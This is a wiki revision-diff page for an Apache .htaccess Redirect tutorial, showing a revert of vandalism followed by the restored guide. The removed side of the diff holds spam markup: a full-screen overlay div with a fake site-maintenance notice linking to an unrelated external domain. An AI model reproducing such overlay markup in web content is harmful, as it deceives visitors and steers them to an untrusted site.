Htaccess: Redirect: Difference between revisions

From The Uniform Server Wiki
Jump to navigation Jump to search
No edit summary
m (Reverted edits by Upazixorys (Talk); changed back to last version by Ric)
Line 1: Line 1:
----
<span id="top"></span>
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
<div style="padding:0;margin:0; border-bottom:3px inset #000000">
----
=[http://ozoqemuvo.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
----
=[http://ozoqemuvo.co.cc CLICK HERE]=
----
</div>
&lt;span id=&quot;top&quot;&gt;&lt;/span&gt;
&lt;div style=&quot;padding:0;margin:0; border-bottom:3px inset #000000&quot;&gt;
{|  
{|  
|[[Image:uc_small_logo.gif | MPG UniCenter]] ||
|[[Image:uc_small_logo.gif | MPG UniCenter]] ||
Line 19: Line 11:


|}
|}
&lt;/div&gt;
</div>
{| cellpadding=&quot;2&quot;
{| cellpadding="2"
|
|
__TOC__
__TOC__
Line 38: Line 30:
Looking at this in a little more detail using this example
Looking at this in a little more detail using this example


'''Redirect /olddirectory/oldfile.html &lt;nowiki&gt;http://yoursite.com/newdirectory/newfile.html&lt;/nowiki&gt;'''
'''Redirect /olddirectory/oldfile.html <nowiki>http://yoursite.com/newdirectory/newfile.html</nowiki>'''
&lt;ol&gt;
<ol>
&lt;li&gt; '''Redirect'''
<li> '''Redirect'''
* This is the Apache command followed by a space
* This is the Apache command followed by a space
&lt;li&gt; '''/olddirectory/oldfile.html'''
<li> '''/olddirectory/oldfile.html'''
* This is the path to the old file you want redirected
* This is the path to the old file you want redirected
* It is stated in a relative file format
* It is stated in a relative file format
* Again followed by a space
* Again followed by a space
&lt;li&gt; '''&lt;nowiki&gt;http://yoursite.com/newdirectory/newfile.html&lt;/nowiki&gt;'''
<li> '''<nowiki>http://yoursite.com/newdirectory/newfile.html</nowiki>'''
* This is the full (URL) path of the location you want the request redirected to
* This is the full (URL) path of the location you want the request redirected to
&lt;/ol&gt;
</ol>


You would place a Redirect command in the root htaccess file for each file you want to redirect.
You would place a Redirect command in the root htaccess file for each file you want to redirect.
Line 55: Line 47:
Suppose that all you have done is renamed a folder (and even moved it to another location) however all the files still have their original names redirecting a folder is similar to the above for example:
Suppose that all you have done is renamed a folder (and even moved it to another location) however all the files still have their original names redirecting a folder is similar to the above for example:


'''Redirect /olddirectory &lt;nowiki&gt;http://yoursite.com/newdirectory&lt;/nowiki&gt;'''
'''Redirect /olddirectory <nowiki>http://yoursite.com/newdirectory</nowiki>'''
&lt;ol&gt;
<ol>
&lt;li&gt; '''Redirect'''
<li> '''Redirect'''
* This is the Apache command followed by a space
* This is the Apache command followed by a space
&lt;li&gt; '''/olddirectory'''
<li> '''/olddirectory'''
* This is the path to the old directory you want redirected
* This is the path to the old directory you want redirected
* It is stated in a relative file format
* It is stated in a relative file format
* Again followed by a space
* Again followed by a space
&lt;li&gt; '''&lt;nowiki&gt;http://yoursite.com/newdirectory&lt;/nowiki&gt;'''
<li> '''<nowiki>http://yoursite.com/newdirectory</nowiki>'''
* This is the full (URL) path of the location you want the request redirected to
* This is the full (URL) path of the location you want the request redirected to
&lt;/ol&gt;
</ol>


'''''[[#top | Top]]'''''
'''''[[#top | Top]]'''''
Line 72: Line 64:


{|
{|
|-style=&quot;background:#cccccc&quot;
|-style="background:#cccccc"
!Comment
!Comment
!Code
!Code
|-style=&quot;background:#f9f9f9&quot;
|-style="background:#f9f9f9"
|
|
# Navigate to the root folder '''www'''.
# Navigate to the root folder '''www'''.
Line 82: Line 74:
# Save the file
# Save the file
|
|
&lt;pre style=&quot;padding:4px;margin:0;border:none&quot;&gt;
<pre style="padding:4px;margin:0;border:none">
# This file provides security to the server limiting access to the localhost only.
# This file provides security to the server limiting access to the localhost only.
# Comment to deactivate.
# Comment to deactivate.
Line 98: Line 90:
# Defaults: Username = admin; Password = userver
# Defaults: Username = admin; Password = userver


#AuthName &quot;Uniform Server - Secure Server Access&quot;
#AuthName "Uniform Server - Secure Server Access"
#AuthType Basic
#AuthType Basic
#AuthUserFile /htpasswd/www/.htpasswd
#AuthUserFile /htpasswd/www/.htpasswd
Line 104: Line 96:


Redirect /old http://localhost/moved
Redirect /old http://localhost/moved
&lt;/pre&gt;
</pre>
|}
|}


Line 110: Line 102:


# Run the server using Server_Start.bat
# Run the server using Server_Start.bat
# In the browser address bar type '''&lt;nowiki&gt;http:/localhost/old&lt;/nowiki&gt;'''
# In the browser address bar type '''<nowiki>http:/localhost/old</nowiki>'''
# You will be redirected to the folder '''&lt;nowiki&gt;http://localhost/moved/&lt;/nowiki&gt;'''
# You will be redirected to the folder '''<nowiki>http://localhost/moved/</nowiki>'''


'''''[[#top | Top]]'''''
'''''[[#top | Top]]'''''
Line 119: Line 111:
'''Testing'''
'''Testing'''
# Run the server using Server_Start.bat
# Run the server using Server_Start.bat
# In the browser address bar type '''&lt;nowiki&gt;http:/localhost/old/not_found.html&lt;/nowiki&gt;'''
# In the browser address bar type '''<nowiki>http:/localhost/old/not_found.html</nowiki>'''
# You will be redirected to the file '''&lt;nowiki&gt;http://localhost/moved/not_found.html&lt;/nowiki&gt;'''
# You will be redirected to the file '''<nowiki>http://localhost/moved/not_found.html</nowiki>'''


Well you get the idea experiment with files it is similar to the folder example.
Well you get the idea experiment with files it is similar to the folder example.
Line 130: Line 122:
Below is a small extract from my .htaccess file you will see I am using page redirection:  
Below is a small extract from my .htaccess file you will see I am using page redirection:  


&lt;pre&gt;
<pre>
Redirect /us_35_apps/joomla/joomla_install_1.html http://wiki.uniformserver.com/index.php/Installing_Joomla
Redirect /us_35_apps/joomla/joomla_install_1.html http://wiki.uniformserver.com/index.php/Installing_Joomla
Redirect /us_35_apps/joomla/joomla_install_2.html http://wiki.uniformserver.com/index.php/Joomla_Portability
Redirect /us_35_apps/joomla/joomla_install_2.html http://wiki.uniformserver.com/index.php/Joomla_Portability
Line 140: Line 132:
Redirect /new_users/new_users_install_1.html http://wiki.uniformserver.com/index.php/New_Users:_Quick_Install_Guide
Redirect /new_users/new_users_install_1.html http://wiki.uniformserver.com/index.php/New_Users:_Quick_Install_Guide
Redirect /new_users/problems_1.html http://wiki.uniformserver.com/index.php/New_Users:_Problems_Section
Redirect /new_users/problems_1.html http://wiki.uniformserver.com/index.php/New_Users:_Problems_Section
&lt;/pre&gt;
</pre>


'''''Tip'':''' I first publish the Wiki pages, use a browser to view a page and copy the link into .htaccess. Similar process to obtain the redirected page.
'''''Tip'':''' I first publish the Wiki pages, use a browser to view a page and copy the link into .htaccess. Similar process to obtain the redirected page.
Line 146: Line 138:
=== Errors ===
=== Errors ===
Any typos in the .htaccess file will cause Apache to spit out the following error message:
Any typos in the .htaccess file will cause Apache to spit out the following error message:
&lt;pre&gt;
<pre>
Internal Server Error
Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.
The server encountered an internal error or misconfiguration and was unable to complete your request.
&lt;/pre&gt;
</pre>


Hence always make small changes to .htaccess and then test, makes it easier to isolate and resolve any problems.
Hence always make small changes to .htaccess and then test, makes it easier to isolate and resolve any problems.

Revision as of 08:24, 24 November 2010

MPG UniCenter

.htaccess: Introduction | Site error documents | Prevent Directory Listing | Redirect | Preventing hot linking |

.htaccess - Apache directory-level configuration file

Redirect

The htaccess command Redirect is very powerful you can redirect files or complete folders. Why would you want to do this a typical example would be that you have changed the structure of your site but wish old links (saved by a user) to be redirected to your new page location or even new page name.

Redirect format

The redirect command must be on a single line with each element separated by a space it has the following format:

Redirect old_path new_path

File Redirect format

Looking at this in a little more detail using this example

Redirect /olddirectory/oldfile.html http://yoursite.com/newdirectory/newfile.html

  1. Redirect
    • This is the Apache command followed by a space
  2. /olddirectory/oldfile.html
    • This is the path to the old file you want redirected
    • It is stated in a relative file format
    • Again followed by a space
  3. http://yoursite.com/newdirectory/newfile.html
    • This is the full (URL) path of the location you want the request redirected to

You would place a Redirect command in the root htaccess file for each file you want to redirect.

Folder Redirect

Suppose that all you have done is renamed a folder (and even moved it to another location) however all the files still have their original names redirecting a folder is similar to the above for example:

Redirect /olddirectory http://yoursite.com/newdirectory

  1. Redirect
    • This is the Apache command followed by a space
  2. /olddirectory
    • This is the path to the old directory you want redirected
    • It is stated in a relative file format
    • Again followed by a space
  3. http://yoursite.com/newdirectory
    • This is the full (URL) path of the location you want the request redirected to

Top

Directory example 1

Using our errors folder make a copy of it and rename it to moved.

Comment Code
  1. Navigate to the root folder www.
  2. Open the .htaccess file
  3. Add the command shown on the right last line.
  4. Save the file
# This file provides security to the server limiting access to the localhost only.
# Comment to deactivate.

Order Deny,Allow
Deny from all
Allow from 127.0.0.1

# To allow execution of cgi scripts in this directory uncomment next two lines.

AddHandler cgi-script .pl .cgi
Options +ExecCGI

# To unlock your server, comment the next 4 lines.
# Defaults: Username = admin; Password = userver

#AuthName "Uniform Server - Secure Server Access"
#AuthType Basic
#AuthUserFile /htpasswd/www/.htpasswd
#Require valid-user

Redirect /old http://localhost/moved

Testing

  1. Run the server using Server_Start.bat
  2. In the browser address bar type http:/localhost/old
  3. You will be redirected to the folder http://localhost/moved/

Top

Directory example 2

Open the file not_found.html contained in folder moved add some more text to distinguish it from the original.

Testing

  1. Run the server using Server_Start.bat
  2. In the browser address bar type http:/localhost/old/not_found.html
  3. You will be redirected to the file http://localhost/moved/not_found.html

Well you get the idea experiment with files it is similar to the folder example.

Top

Practical Example

I was faced with this very problem UniCenter has been around for nearly two years and started to become unmanageable hence the move over to the Wiki. Many web sites link to various pages on UniCenter to avoid frustration of not finding an article; users are redirected to the appropriate page on the Wiki.

Below is a small extract from my .htaccess file you will see I am using page redirection:

Redirect /us_35_apps/joomla/joomla_install_1.html http://wiki.uniformserver.com/index.php/Installing_Joomla
Redirect /us_35_apps/joomla/joomla_install_2.html http://wiki.uniformserver.com/index.php/Joomla_Portability

Redirect /u35_mod_ssl_2/4_hmailserver.html http://wiki.uniformserver.com/index.php/SSL_Part_2:_Installing_hMailServer
Redirect /u35_mod_ssl_2/5_hmailserver.html http://wiki.uniformserver.com/index.php/SSL_Part_2:_Configure_hMailServer

Redirect /new_users/new_users_index.html http://wiki.uniformserver.com/index.php/New_Users:_Home
Redirect /new_users/new_users_install_1.html http://wiki.uniformserver.com/index.php/New_Users:_Quick_Install_Guide
Redirect /new_users/problems_1.html http://wiki.uniformserver.com/index.php/New_Users:_Problems_Section

Tip: I first publish the Wiki pages, use a browser to view a page and copy the link into .htaccess. Similar process to obtain the redirected page.

Errors

Any typos in the .htaccess file will cause Apache to spit out the following error message:

Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.

Hence always make small changes to .htaccess and then test, makes it easier to isolate and resolve any problems.

Top


Ric